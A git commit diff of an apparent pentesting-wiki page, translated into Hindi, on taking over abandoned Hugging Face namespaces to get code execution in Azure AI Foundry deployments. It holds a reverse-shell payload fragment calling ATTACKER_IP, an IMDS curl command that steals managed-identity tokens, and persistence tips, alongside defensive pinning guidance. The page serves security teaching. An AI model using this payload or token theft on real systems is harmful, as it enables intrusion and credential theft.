Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio

This commit is contained in:
Translator
2025-09-29 22:42:45 +00:00
parent d9f1c1f7a1
commit f7f3b8798d
6 changed files with 325 additions and 329 deletions

View File

@@ -4,15 +4,15 @@
## परिदृश्य
- Azure AI Foundry Model Catalog में one-click deployment के लिए कई Hugging Face (HF) मॉडल शामिल हैं।
- HF model identifiers Author/ModelName हैं। यदि कोई HF author/org deleted हो जाता है, तो कोई भी उस author को फिर से रजिस्टर कर सकता है और उसी ModelName के साथ legacy path पर मॉडल प्रकाशित कर सकता है।
- सिर्फ name के आधार पर pull करने वाले pipelines और catalogs (no commit pinning/integrity) attacker-controlled repos की ओर resolve होंगे। जब Azure मॉडल को deploy करता है, तो loader code endpoint environment में execute कर सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
- Azure AI Foundry Model Catalog में एक-क्लिक deployment के लिए कई Hugging Face (HF) models शामिल हैं।
- HF model identifiers are Author/ModelName. अगर कोई HF author/org हट जाता है, तो कोई भी उस author को फिर से re-register कर सकता है और legacy path पर उसी ModelName के साथ model प्रकाशित कर सकता है।
- नाम के आधार पर ही खींचने वाले Pipelines और catalogs (बिना commit pinning/integrity के) attacker-controlled repos र resolve होंगे। जब Azure model को deploy करेगा, तो loader code endpoint environment में execute हो सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
सामान्य HF takeover केस:
Common HF takeover cases:
- Ownership deletion: पुराना path takeover तक 404 रहता है।
- Ownership transfer: जब तक पुराना author मौजूद है, पुराना path नए author की ओर 307 redirect करता है। अगर बाद में पुराना author delete और फिर से re-register कर दिया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करने लगती है।
- Ownership transfer: Old path 307 नए author की तरफ redirect होता है जब पुराना author मौजूद रहता है। अगर बाद में पुराना author हटा दिया जाता है और फिर से re-registered किया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करती है।
## Reusable Namespaces (HF) की पहचान
## पुन: उपयोग योग्य Namespaces (HF) की पहचान
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## End-to-end Attack Flow against Azure AI Foundry
## Azure AI Foundry के खिलाफ एंड-टू-एंड अटैक फ्लो
1) Model Catalog में उन HF models को ढूंढें जिनके original authors HF पर deleted या transferred हो चुके हैं (old author removed)।
2) HF पर abandoned author को पुनः register करें और ModelName को recreate करें।
3) एक malicious repo प्रकाशित करें जिसमें loader code हो जो import पर execute होता है या जिसके लिए trust_remote_code=True आवश्यक हो।
4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होत है।
1) Model Catalog में उन HF models को ढूंढें जिनके मूल लेखक HF पर deleted या transferred हो गए थे (पुराना लेखक हटाया गया)।
2) HF पर abandoned author को पुनः रजिस्टर करें और ModelName को फिर से बनाएं।
3) एक दुर्भावनापूर्ण repo प्रकाशित करें जिसमें loader code हो जो import पर execute हो जाए या जिसके लिए trust_remote_code=True आवश्यक हो।
4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint के container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होत है।
Import पर execute होने वाला example payload fragment (केवल demonstration के लिए):
Example payload fragment executed on import (for demonstration only):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
नोट्स
- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर मॉडल config में referenced repo modules (जैसे auto_map) को clone और import करते हैं, जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की ज़रूरत होती है।
- Access आमतौर पर endpoint क managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए initial access foothold के रूप में मानें।
- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर model config में referenced repo modules को clone और import करते हैं (उदा., auto_map), जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की आवश्यकता होती है।
- Access सामान्यतः endpoint क managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए एक initial access foothold मानें।
## Post-Exploitation Tips (Azure Endpoint)
- Environment variables और MSI endpoints में tokens के लिए enumerate करें:
- Environment variables और MSI endpoints के लिए tokens क enumerate करें:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- acquired token के साथ mounted storage, model artifacts, और reachable Azure services की जाँच करें।
- यदि platform HF से पुनः re-pull करत है तो persistence के लिए poisoned model artifacts छोड़ने पर विचार करें।
- अधिग्रहित token के साथ माउंट की गई storage, model artifacts, और पहुँच योग्य Azure सेवाओं की जाँच करें।
- यदि प्लेटफ़ॉर्म HF से पुनः pull करत है तो poisoned model artifacts छोड़कर persistence पर विचार करें।
## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षा संबंधी मार्गदर्शन
- Pin models by commit when loading from HF:
- HF से लोड करते समय commit द्वारा models को pin करें:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- सत्यापित HF models को एक विश्वसनीय आंतरिक registry में mirror करें और वहीं से deploy करें।
- लगातार codebases और defaults/docstrings/notebooks को scan करें ताकि hard-coded Author/ModelName जो deleted/transferred हं पता चलें; उन्हें update या pin करें
- डिप्लॉयमेंट से पहले लेखक की मौजूदगी और मॉडल की उत्पत्ति सत्यापित करें।
- सत्यापित HF मॉडलों को एक भरोसेमंद internal registry में mirror करें और वहाँ से deploy करें।
- लगातार codebases और defaults/docstrings/notebooks को स्कैन करें ताकि हार्ड-कोडेड Author/ModelName जो deleted/transferred हं पहचान कर उन्हें अपडेट या pin किया जा सके
- परिनियोजन से पहले author के अस्तित्व और मॉडल की provenance सत्यापित करें।
## पहचान हीयूरिस्टिक्स (HTTP)
## Recognition Heuristics (HTTP)
- Deleted author: लेखक पेज 404; legacy model path 404 रहेगा जब तक takeover न हो।
- Transferred model: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद है; अगर बाद में पुराना लेखक हटाया गया और पुनः पंजीकृत हुआ, तो legacy path attacker content सर्व करेगा
- Deleted author: author पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता
- Transferred model: legacy path 307 नए author की ओर जाता है जबकि पुराना author मौजूद है; अगर पुराना author बाद में हटाया गया और फिर से रजिस्टर किया गया, तो legacy path आक्रमणकारी की सामग्री सर्व कर सकता है
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## पार-संदर्भ
## क्रॉस-संदर्भ
-िस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
-्यापक कार्यप्रणाली और आपूर्ति-श्रृंखला नोट्स देखें:
{{#ref}}
../../pentesting-cloud-methodology.md